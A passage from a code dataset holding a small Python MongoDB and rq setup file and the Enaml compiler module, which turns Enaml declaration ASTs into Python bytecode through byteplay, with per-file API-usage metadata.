140, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 140, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 120, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 120, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 120, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 121, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 121, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 121, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 122, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 122, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 122, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 123, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 123, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 123, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 124, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 124, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 124, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 125, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 125, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 125, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 126, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 126, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 126, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 127, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 127, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 127, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 128, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 128, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 128, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 129, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 129, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 129, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 130, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 130, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 130, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 131, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 131, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 131, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 132, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 132, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 132, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 133, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 133, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 133, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 134, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 134, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 134, "usage_type": "name"}]} +{"seq_id": "609232326", "text": "from pymongo import Connection\nfrom rq import Queue, use_connection\n\nconnection = Connection('localhost', 27017) # Use defaults\ndb = connection.test_db\ndocument_db = db.messages\n\n# Redis connection for creating worker processes\nuse_connection()\nworker_queue = Queue()\n", "sub_path": "database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 268, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pymongo.Connection", "line_number": 4, "usage_type": "call"}, {"api_name": "rq.use_connection", "line_number": 9, "usage_type": "call"}, {"api_name": "rq.Queue", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "567135451", "text": "#------------------------------------------------------------------------------\n# Copyright (c) 2011, Enthought, Inc.\n# All rights reserved.\n#------------------------------------------------------------------------------\nimport ast\nimport itertools\nimport types\n\nfrom .byteplay import (\n Code, LOAD_FAST, CALL_FUNCTION, LOAD_GLOBAL, STORE_FAST, LOAD_CONST,\n LOAD_ATTR, STORE_SUBSCR, RETURN_VALUE, POP_TOP, MAKE_FUNCTION, STORE_NAME,\n LOAD_NAME, DUP_TOP, SetLineno, BINARY_SUBSCR, STORE_ATTR, ROT_TWO,\n DELETE_NAME, DELETE_FAST\n)\nfrom .code_tracing import inject_tracing, inject_inversion\n\n\n# Increment this number whenever the compiler changes the code which it\n# generates. This number is used by the import hooks to know which version\n# of a .enamlc file is valid for the Enaml compiler version in use. If\n# this number is not incremented on change, it may result in .enamlc\n# files which fail on import.\n#\n# Version History\n# ---------------\n# 1 : Initial compiler version - 2 February 2012\n# 2 : Update line number handling - 26 March 2012\n# When compiling code objects with mode='eval', Python ignores the\n# line number specified by the ast. The workaround is to compile the\n# code object, then make a new copy of it with the proper firstlineno\n# set via the types.CodeType constructor.\n# 3 : Update the generated code to remove the toolkit - 21 June 2012\n# This updates the compiler for the coming switch to async UI's\n# which will see the removal of the Toolkit concept. The only\n# magic scope maintained is for that of operators.\n# 4 : Update component building - 27 July 2012\n# This updates the compiler to handle the new Enaml creation semantics\n# that don't rely on __enaml_call__. Instead the parent is passed\n# directly to the component cls which is a subclass of Declarative.\n# That class handles calling the builder functions upon instance\n# creation. This allows us to get rid of the EnamlDef class and\n# make enamldef constructs proper subclasses of Declarative.\n# 5 : Change the import names - 28 July 2012\n# This changes the imported helper name from _make_decl_subclass_\n# to _make_enamldef_helper_ which is more descriptive, but equally\n# mangled. It also updates the method name used on the Declarative\n# component for adding attribute from _add_decl_attr to the more\n# descriptive _add_user_attribute. Finally, it adds the eval_compile\n# function for compiling Python code in 'eval' mode with proper line\n# number handling.\n# 6 : Compile with code tracing - 24 November 2012\n# This updates the compiler to generate code using the idea of code\n# tracing instead of monitors and inverters. The compiler compiles\n# the expressions into functions which are augmented to accept\n# additional arguments. These arguments are tracer objects which will\n# have methods called in response to bytecode ops executing. These\n# methods can then attach listeners as necessary. This is an easier\n# paradigm to develop with than the previous incarnation. This new\n# way also allows the compiler to generate the final code objects\n# upfront, instead of needed to specialize at runtime for a given\n# operator context. This results in a much smaller footprint since\n# then number of code objects created is n instead of n x m.\n# 7 : Fix bug with local deletes - 10 December 2012\n# This fixes a bug in the locals optimization where the DELETE_NAME\n# opcode was not being replaced with DELETE_FAST.\nCOMPILER_VERSION = 7\n\n\n# The Enaml compiler translates an Enaml AST into Python bytecode.\n#\n# Given this sample declaration in Enaml::\n#\n# FooWindow(Window):\n# id: foo\n# a = '12'\n# PushButton:\n# id: btn\n# text = 'clickme'\n#\n# The compiler generate bytecode that would corresponds to the following\n# Python code (though the function object is never assigned to a name in\n# the global namespace).\n#\n# def FooWindow(instance, identifiers, operators):\n# f_globals = globals()\n# _var_1 = instance\n# identifiers['foo'] = _var_1\n# op = operators['__operator_Equal__']\n# op(_var_1, 'a', , identifiers)\n# _var_2 = f_globals['PushButton'](_var_1)\n# identifiers['btn'] = _var_2\n# op = operators['__operator_Equal__']\n# op(_var_2, 'text', , identifiers)\n# return _var_1\n#\n# FooWindow = _make_enamldef_helper_('FooWindow', Window, FooWindow)\n\n\n#------------------------------------------------------------------------------\n# Compiler Helpers\n#------------------------------------------------------------------------------\n# Code that will be executed at the top of every enaml module\nSTARTUP = ['from enaml.core.compiler_helpers import _make_enamldef_helper_']\n\n\n# Cleanup code that will be included in every compiled enaml module\nCLEANUP = ['del _make_enamldef_helper_']\n\n\ndef _var_name_generator():\n \"\"\" Returns a generator that generates sequential variable names for\n use in a code block.\n\n \"\"\"\n count = itertools.count()\n while True:\n yield '_var_' + str(count.next())\n\n\ndef update_firstlineno(code, firstlineno):\n \"\"\" Returns a new code object with an updated first line number.\n\n \"\"\"\n return types.CodeType(\n code.co_argcount, code.co_nlocals, code.co_stacksize, code.co_flags,\n code.co_code, code.co_consts, code.co_names, code.co_varnames,\n code.co_filename, code.co_name, firstlineno, code.co_lnotab,\n code.co_freevars, code.co_cellvars,\n )\n\n\n#------------------------------------------------------------------------------\n# Expression Compilers\n#------------------------------------------------------------------------------\ndef replace_global_loads(codelist, explicit=None):\n \"\"\" A code transformer which rewrites LOAD_GLOBAL opcodes.\n\n This transform will replace the LOAD_GLOBAL opcodes with LOAD_NAME\n opcodes. The operation is performed in-place.\n\n Parameters\n ----------\n codelist : list\n The list of byteplay code ops to modify.\n\n explicit : set or None\n The set of global names declared explicitly and which should\n remain untransformed.\n\n \"\"\"\n # Replacing LOAD_GLOBAL with LOAD_NAME enables dynamic scoping by\n # way of a custom locals mapping. The `call_func` function in the\n # `funchelper` module enables passing a locals map to a function.\n explicit = explicit or set()\n for idx, (op, op_arg) in enumerate(codelist):\n if op == LOAD_GLOBAL and op_arg not in explicit:\n codelist[idx] = (LOAD_NAME, op_arg)\n\n\ndef optimize_locals(codelist):\n \"\"\" Optimize the given code object for fast locals access.\n\n All STORE_NAME opcodes will be replaced with STORE_FAST. Names which\n are stored and then loaded via LOAD_NAME are rewritten to LOAD_FAST\n and DELETE_NAME is rewritten to DELETE_FAST. This transformation is\n applied in-place.\n\n Parameters\n ----------\n codelist : list\n The list of byteplay code ops to modify.\n\n \"\"\"\n fast_locals = set()\n for idx, (op, op_arg) in enumerate(codelist):\n if op == STORE_NAME:\n fast_locals.add(op_arg)\n codelist[idx] = (STORE_FAST, op_arg)\n for idx, (op, op_arg) in enumerate(codelist):\n if op == LOAD_NAME and op_arg in fast_locals:\n codelist[idx] = (LOAD_FAST, op_arg)\n elif op == DELETE_NAME and op_arg in fast_locals:\n codelist[idx] = (DELETE_FAST, op_arg)\n\n\ndef compile_simple(py_ast, filename):\n \"\"\" Compile an ast into a code object implementing operator `=`.\n\n Parameters\n ----------\n py_ast : ast.Expression\n A Python ast Expression node.\n\n filename : str\n The filename which generated the expression.\n\n Returns\n -------\n result : types.CodeType\n A Python code object which implements the desired behavior.\n\n \"\"\"\n code = compile(py_ast, filename, mode='eval')\n code = update_firstlineno(code, py_ast.lineno)\n bp_code = Code.from_code(code)\n replace_global_loads(bp_code.code)\n optimize_locals(bp_code.code)\n bp_code.newlocals = False\n return bp_code.to_code()\n\n\ndef compile_notify(py_ast, filename):\n \"\"\" Compile an ast into a code object implementing operator `::`.\n\n Parameters\n ----------\n py_ast : ast.Module\n A Python ast Module node.\n\n filename : str\n The filename which generated the expression.\n\n Returns\n -------\n result : types.CodeType\n A Python code object which implements the desired behavior.\n\n \"\"\"\n explicit_globals = set()\n for node in ast.walk(py_ast):\n if isinstance(node, ast.Global):\n explicit_globals.update(node.names)\n code = compile(py_ast, filename, mode='exec')\n bp_code = Code.from_code(code)\n replace_global_loads(bp_code.code, explicit_globals)\n optimize_locals(bp_code.code)\n bp_code.newlocals = False\n return bp_code.to_code()\n\n\ndef compile_subscribe(py_ast, filename):\n \"\"\" Compile an ast into a code object implementing operator `<<`.\n\n Parameters\n ----------\n py_ast : ast.Expression\n A Python ast Expression node.\n\n filename : str\n The filename which generated the expression.\n\n Returns\n -------\n result : types.CodeType\n A Python code object which implements the desired behavior.\n\n \"\"\"\n code = compile(py_ast, filename, mode='eval')\n code = update_firstlineno(code, py_ast.lineno)\n bp_code = Code.from_code(code)\n replace_global_loads(bp_code.code)\n optimize_locals(bp_code.code)\n bp_code.code = inject_tracing(bp_code.code)\n bp_code.newlocals = False\n bp_code.args = ('_[tracer]',) + bp_code.args\n return bp_code.to_code()\n\n\ndef compile_update(py_ast, filename):\n \"\"\" Compile an ast into a code object implementing operator `>>`.\n\n Parameters\n ----------\n py_ast : ast.Expression\n A Python ast Expression node.\n\n filename : str\n The filename which generated the expression.\n\n Returns\n -------\n result : types.CodeType\n A Python code object which implements the desired behavior.\n\n \"\"\"\n code = compile(py_ast, filename, mode='eval')\n code = update_firstlineno(code, py_ast.lineno)\n bp_code = Code.from_code(code)\n replace_global_loads(bp_code.code)\n optimize_locals(bp_code.code)\n bp_code.code = inject_inversion(bp_code.code)\n bp_code.newlocals = False\n bp_code.args = ('_[inverter]', '_[value]') + bp_code.args\n return bp_code.to_code()\n\n\ndef compile_delegate(py_ast, filename):\n \"\"\" Compile an ast into a code object implementing operator `:=`.\n\n This will generate two code objects: one which is equivalent to\n operator `<<` and another which is equivalent to `>>`.\n\n Parameters\n ----------\n py_ast : ast.Expression\n A Python ast Expression node.\n\n filename : str\n The filename which generated the expression.\n\n Returns\n -------\n result : tuple\n A 2-tuple of types.CodeType equivalent to operators `<<` and\n `>>` respectively.\n\n \"\"\"\n code = compile(py_ast, filename, mode='eval')\n code = update_firstlineno(code, py_ast.lineno)\n bp_code = Code.from_code(code)\n bp_code.newlocals = False\n codelist = bp_code.code[:]\n bp_args = tuple(bp_code.args)\n replace_global_loads(codelist)\n optimize_locals(codelist)\n sub_list = inject_tracing(codelist)\n bp_code.code = sub_list\n bp_code.args = ('_[tracer]',) + bp_args\n sub_code = bp_code.to_code()\n upd_list = inject_inversion(codelist)\n bp_code.code = upd_list\n bp_code.args = ('_[inverter]', '_[value]') + bp_args\n upd_code = bp_code.to_code()\n return (sub_code, upd_code)\n\n\nCOMPILE_OP_MAP = {\n '__operator_Equal__': compile_simple,\n '__operator_ColonColon__': compile_notify,\n '__operator_LessLess__': compile_subscribe,\n '__operator_GreaterGreater__': compile_update,\n '__operator_ColonEqual__': compile_delegate,\n}\n\n\n#------------------------------------------------------------------------------\n# Node Visitor\n#------------------------------------------------------------------------------\nclass _NodeVisitor(object):\n \"\"\" A node visitor class that is used as base class for the various\n Enaml compilers.\n\n \"\"\"\n def visit(self, node):\n \"\"\" The main visitor dispatch method.\n\n Unhandled nodes will raise an error.\n\n \"\"\"\n name = 'visit_%s' % node.__class__.__name__\n try:\n method = getattr(self, name)\n except AttributeError:\n method = self.default_visit\n method(node)\n\n def visit_nonstrict(self, node):\n \"\"\" A nonstrict visitor dispatch method.\n\n Unhandled nodes will be ignored.\n\n \"\"\"\n name = 'visit_%s' % node.__class__.__name__\n try:\n method = getattr(self, name)\n except AttributeError:\n pass\n else:\n method(node)\n\n def default_visit(self, node):\n \"\"\" The default visitor method. Raises an error since there\n should not be any unhandled nodes.\n\n \"\"\"\n raise ValueError('Unhandled Node %s.' % node)\n\n\n#------------------------------------------------------------------------------\n# Declaration Compiler\n#------------------------------------------------------------------------------\nclass DeclarationCompiler(_NodeVisitor):\n \"\"\" A visitor which compiles a Declaration node into a code object.\n\n \"\"\"\n @classmethod\n def compile(cls, node, filename):\n \"\"\" The main entry point of the DeclarationCompiler.\n\n This compiler compiles the given Declaration node into a code\n object for a builder function.\n\n Parameters\n ----------\n node : Declaration\n The Declaration node to compiler.\n\n filename : str\n The string filename to use for the generated code objects.\n\n \"\"\"\n compiler = cls(filename)\n compiler.visit(node)\n code_ops = compiler.code_ops\n code = Code(\n code_ops, [], ['instance', 'identifiers', 'operators'], False,\n False, True, node.name, filename, node.lineno, node.doc,\n )\n return code\n\n def __init__(self, filename):\n \"\"\" Initialize a DeclarationCompiler.\n\n Parameters\n ----------\n filename : str\n The filename string to use for the generated code object.\n\n \"\"\"\n self.filename = filename\n self.code_ops = []\n self.extend_ops = self.code_ops.extend\n self.name_gen = _var_name_generator()\n self.name_stack = []\n self.push_name = self.name_stack.append\n self.pop_name = self.name_stack.pop\n\n def curr_name(self):\n \"\"\" Returns the current variable name on the stack.\n\n \"\"\"\n return self.name_stack[-1]\n\n def visit_Declaration(self, node):\n \"\"\" Creates the bytecode ops for a declaration node.\n\n This node visitor pulls the passed in root into a local var\n and stores it's identifier if one is given. It also loads\n in the commonly used local variables `f_globals`, and `eval_`.\n\n \"\"\"\n name = self.name_gen.next()\n extend_ops = self.extend_ops\n self.push_name(name)\n\n extend_ops([\n (LOAD_NAME, 'globals'), # f_globals = globals()\n (CALL_FUNCTION, 0x0000),\n (STORE_FAST, 'f_globals'),\n (LOAD_FAST, 'instance'), # _var_1 = instance\n (STORE_FAST, name),\n ])\n\n if node.identifier:\n extend_ops([\n (LOAD_FAST, name), # identifiers['foo'] = _var_1\n (LOAD_FAST, 'identifiers'),\n (LOAD_CONST, node.identifier),\n (STORE_SUBSCR, None),\n ])\n\n visit = self.visit\n for item in node.body:\n visit(item)\n\n extend_ops([\n (LOAD_FAST, name), # return _var_1\n (RETURN_VALUE, None),\n ])\n\n self.pop_name()\n\n def visit_AttributeDeclaration(self, node):\n \"\"\" Creates the bytecode ops for an attribute declaration.\n\n The attributes will have already been added to the subclass, so\n this visitor just dispatches to any default bindings which may\n exist on the attribute declaration, since the binding happens\n at instantiation time via operators.\n\n \"\"\"\n default = node.default\n if default is not None:\n self.visit(node.default)\n\n def visit_AttributeBinding(self, node):\n \"\"\" Creates the bytecode ops for an attribute binding.\n\n This visitor handles loading and calling the appropriate\n operator.\n\n \"\"\"\n py_ast = node.binding.expr.py_ast\n op = node.binding.op\n op_compiler = COMPILE_OP_MAP[op]\n code = op_compiler(py_ast, self.filename)\n if isinstance(code, tuple): # operator `::`\n sub_code, upd_code = code\n self.extend_ops([\n (SetLineno, node.binding.lineno),\n (LOAD_FAST, 'operators'), # operators[op](obj, attr, sub_func, identifiers)\n (LOAD_CONST, op),\n (BINARY_SUBSCR, None),\n (LOAD_FAST, self.curr_name()),\n (LOAD_CONST, node.name),\n (LOAD_CONST, sub_code),\n (MAKE_FUNCTION, 0),\n (DUP_TOP, None),\n (LOAD_CONST, upd_code),\n (MAKE_FUNCTION, 0),\n (ROT_TWO, None),\n (STORE_ATTR, '_update'), # sub_func._update = upd_func\n (LOAD_FAST, 'identifiers'),\n (CALL_FUNCTION, 0x0004),\n (POP_TOP, None),\n ])\n else:\n self.extend_ops([\n (SetLineno, node.binding.lineno),\n (LOAD_FAST, 'operators'), # operators[op](obj, attr, func, identifiers)\n (LOAD_CONST, op),\n (BINARY_SUBSCR, None),\n (LOAD_FAST, self.curr_name()),\n (LOAD_CONST, node.name),\n (LOAD_CONST, code),\n (MAKE_FUNCTION, 0),\n (LOAD_FAST, 'identifiers'),\n (CALL_FUNCTION, 0x0004),\n (POP_TOP, None),\n ])\n\n def visit_Instantiation(self, node):\n \"\"\" Create the bytecode ops for a component instantiation.\n\n This visitor handles calling another derived component and\n storing its identifier, if given.\n\n \"\"\"\n extend_ops = self.extend_ops\n parent_name = self.curr_name()\n name = self.name_gen.next()\n self.push_name(name)\n extend_ops([\n (SetLineno, node.lineno),\n (LOAD_NAME, node.name), # _var_2 = globals()['PushButton'](parent)\n (LOAD_FAST, parent_name),\n (CALL_FUNCTION, 0x0001),\n (STORE_FAST, name),\n ])\n\n if node.identifier:\n extend_ops([\n (LOAD_FAST, name), # identifiers['btn'] = _var_2\n (LOAD_FAST, 'identifiers'),\n (LOAD_CONST, node.identifier),\n (STORE_SUBSCR, None),\n ])\n\n visit = self.visit\n for item in node.body:\n visit(item)\n\n self.pop_name()\n\n\n#------------------------------------------------------------------------------\n# Enaml Compiler\n#------------------------------------------------------------------------------\nclass EnamlCompiler(_NodeVisitor):\n \"\"\" A visitor that will compile an enaml module ast node.\n\n The entry point is the `compile` classmethod which will compile\n the ast into an appropriate python code object for a module.\n\n \"\"\"\n @classmethod\n def compile(cls, module_ast, filename):\n \"\"\" The main entry point of the compiler.\n\n Parameters\n ----------\n module_ast : Instance(enaml_ast.Module)\n The enaml module ast node that should be compiled.\n\n filename : str\n The string filename of the module ast being compiled.\n\n \"\"\"\n compiler = cls(filename)\n compiler.visit(module_ast)\n\n module_ops = [(SetLineno, 1)]\n extend_ops = module_ops.extend\n\n # Generate the startup code for the module\n for start in STARTUP:\n start_code = compile(start, filename, mode='exec')\n # Skip the SetLineo and ReturnValue codes\n extend_ops(Code.from_code(start_code).code[1:-2])\n\n # Add in the code ops for the module\n extend_ops(compiler.code_ops)\n\n # Generate the cleanup code for the module\n for end in CLEANUP:\n end_code = compile(end, filename, mode='exec')\n # Skip the SetLineo and ReturnValue codes\n extend_ops(Code.from_code(end_code).code[1:-2])\n\n # Add in the final return value ops\n extend_ops([\n (LOAD_CONST, None),\n (RETURN_VALUE, None),\n ])\n\n # Generate and return the module code object.\n mod_code = Code(\n module_ops, [], [], False, False, False, '', filename, 0, '',\n )\n return mod_code.to_code()\n\n def __init__(self, filename):\n \"\"\" Initialize an EnamlCompiler.\n\n Parameters\n ----------\n filename : str\n The string filename of the module ast being compiled.\n\n \"\"\"\n self.filename = filename\n self.code_ops = []\n self.extend_ops = self.code_ops.extend\n\n def visit_Module(self, node):\n \"\"\" The Module node visitor method.\n\n This visitor dispatches to all of the body nodes of the module.\n\n \"\"\"\n visit = self.visit\n for item in node.body:\n visit(item)\n\n def visit_Python(self, node):\n \"\"\" The Python node visitor method.\n\n This visitor adds a chunk of raw Python into the module.\n\n \"\"\"\n py_code = compile(node.py_ast, self.filename, mode='exec')\n bp_code = Code.from_code(py_code)\n # Skip the SetLineo and ReturnValue codes\n self.extend_ops(bp_code.code[1:-2])\n\n def visit_Declaration(self, node):\n \"\"\" The Declaration node visitor.\n\n This generates the bytecode ops whic create a new type for the\n enamldef and then adds the user defined attributes and events.\n It also dispatches to the DeclarationCompiler which will create\n the builder function for the new type.\n\n \"\"\"\n name = node.name\n extend_ops = self.extend_ops\n filename = self.filename\n func_code = DeclarationCompiler.compile(node, filename)\n extend_ops([\n (SetLineno, node.lineno),\n (LOAD_NAME, '_make_enamldef_helper_'), # Foo = _make_enamldef_helper_(name, base, buildfunc)\n (LOAD_CONST, name),\n (LOAD_NAME, node.base),\n (LOAD_CONST, func_code),\n (MAKE_FUNCTION, 0),\n (CALL_FUNCTION, 0x0003),\n (STORE_NAME, name),\n ])\n\n # We now have a new Declarative subclass stored at 'name' to\n # which we need to add any user defined attributes and events.\n extend_ops([\n (LOAD_NAME, name),\n (LOAD_ATTR, '_add_user_attribute'),\n ])\n\n # Dispatch to add any class-level info contained within the\n # declaration body. Visit nonstrict since not all child nodes\n # are valid at the class-level. The '_add_user_attribute'\n # class method is left on the top of the stack and popped\n # at the end of the visitors.\n visit = self.visit_nonstrict\n for child_node in node.body:\n visit(child_node)\n\n extend_ops([(POP_TOP, None)])\n\n def visit_AttributeDeclaration(self, node):\n \"\"\" Creates the bytecode ops for an attribute declaration.\n\n This will add the ops to add the user attrs and events to\n the new type.\n\n \"\"\"\n attr_type = node.type or 'object'\n self.extend_ops([\n (SetLineno, node.lineno),\n (DUP_TOP, None), #cls._add_user_attribute(name, type, is_event)\n (LOAD_CONST, node.name),\n (LOAD_NAME, attr_type),\n (LOAD_CONST, node.is_event),\n (CALL_FUNCTION, 0x0003),\n (POP_TOP, None),\n ])\n\n", "sub_path": "enaml/core/enaml_compiler.py", "file_name": "enaml_compiler.py", "file_ext": "py", "file_size_in_byte": 24330, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "itertools.count", "line_number": 115, "usage_type": "call"}, {"api_name": "types.CodeType", "line_number": 124, "usage_type": "call"}, {"api_name": "byteplay.LOAD_GLOBAL", "line_number": 156, "usage_type": "name"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 157, "usage_type": "name"}, {"api_name": "byteplay.STORE_NAME", "line_number": 176, "usage_type": "name"}, {"api_name": "byteplay.STORE_FAST", "line_number": 178, "usage_type": "name"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 180, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 181, "usage_type": "name"}, {"api_name": "byteplay.DELETE_NAME", "line_number": 182, "usage_type": "name"}, {"api_name": "byteplay.DELETE_FAST", "line_number": 183, "usage_type": "name"}, {"api_name": "byteplay.Code.from_code", "line_number": 205, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 205, "usage_type": "name"}, {"api_name": "ast.walk", "line_number": 230, "usage_type": "call"}, {"api_name": "ast.Global", "line_number": 231, "usage_type": "attribute"}, {"api_name": "byteplay.Code.from_code", "line_number": 234, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 234, "usage_type": "name"}, {"api_name": "byteplay.Code.from_code", "line_number": 260, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 260, "usage_type": "name"}, {"api_name": "code_tracing.inject_tracing", "line_number": 263, "usage_type": "call"}, {"api_name": "byteplay.Code.from_code", "line_number": 288, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 288, "usage_type": "name"}, {"api_name": "code_tracing.inject_inversion", "line_number": 291, "usage_type": "call"}, {"api_name": "byteplay.Code.from_code", "line_number": 320, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 320, "usage_type": "name"}, {"api_name": "code_tracing.inject_tracing", "line_number": 326, "usage_type": "call"}, {"api_name": "code_tracing.inject_inversion", "line_number": 330, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 415, "usage_type": "call"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 457, "usage_type": "name"}, {"api_name": "byteplay.CALL_FUNCTION", "line_number": 458, "usage_type": "name"}, {"api_name": "byteplay.STORE_FAST", "line_number": 459, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 460, "usage_type": "name"}, {"api_name": "byteplay.STORE_FAST", "line_number": 461, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 466, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 467, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 468, "usage_type": "name"}, {"api_name": "byteplay.STORE_SUBSCR", "line_number": 469, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 477, "usage_type": "name"}, {"api_name": "byteplay.RETURN_VALUE", "line_number": 478, "usage_type": "name"}, {"api_name": "byteplay.SetLineno", "line_number": 510, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 511, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 512, "usage_type": "name"}, {"api_name": "byteplay.BINARY_SUBSCR", "line_number": 513, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 514, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 515, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 516, "usage_type": "name"}, {"api_name": "byteplay.MAKE_FUNCTION", "line_number": 517, "usage_type": "name"}, {"api_name": "byteplay.DUP_TOP", "line_number": 518, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 519, "usage_type": "name"}, {"api_name": "byteplay.MAKE_FUNCTION", "line_number": 520, "usage_type": "name"}, {"api_name": "byteplay.ROT_TWO", "line_number": 521, "usage_type": "name"}, {"api_name": "byteplay.STORE_ATTR", "line_number": 522, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 523, "usage_type": "name"}, {"api_name": "byteplay.CALL_FUNCTION", "line_number": 524, "usage_type": "name"}, {"api_name": "byteplay.POP_TOP", "line_number": 525, "usage_type": "name"}, {"api_name": "byteplay.SetLineno", "line_number": 529, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 530, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 531, "usage_type": "name"}, {"api_name": "byteplay.BINARY_SUBSCR", "line_number": 532, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 533, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 534, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 535, "usage_type": "name"}, {"api_name": "byteplay.MAKE_FUNCTION", "line_number": 536, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 537, "usage_type": "name"}, {"api_name": "byteplay.CALL_FUNCTION", "line_number": 538, "usage_type": "name"}, {"api_name": "byteplay.POP_TOP", "line_number": 539, "usage_type": "name"}, {"api_name": "byteplay.SetLineno", "line_number": 554, "usage_type": "name"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 555, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 556, "usage_type": "name"}, {"api_name": "byteplay.CALL_FUNCTION", "line_number": 557, "usage_type": "name"}, {"api_name": "byteplay.STORE_FAST", "line_number": 558, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 563, "usage_type": "name"}, {"api_name": "byteplay.LOAD_FAST", "line_number": 564, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 565, "usage_type": "name"}, {"api_name": "byteplay.STORE_SUBSCR", "line_number": 566, "usage_type": "name"}, {"api_name": "byteplay.SetLineno", "line_number": 602, "usage_type": "name"}, {"api_name": "byteplay.Code.from_code", "line_number": 609, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 609, "usage_type": "name"}, {"api_name": "byteplay.Code.from_code", "line_number": 618, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 618, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 622, "usage_type": "name"}, {"api_name": "byteplay.RETURN_VALUE", "line_number": 623, "usage_type": "name"}, {"api_name": "byteplay.Code", "line_number": 627, "usage_type": "call"}, {"api_name": "byteplay.Code.from_code", "line_number": 662, "usage_type": "call"}, {"api_name": "byteplay.Code", "line_number": 662, "usage_type": "name"}, {"api_name": "byteplay.SetLineno", "line_number": 680, "usage_type": "name"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 681, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 682, "usage_type": "name"}, {"api_name": 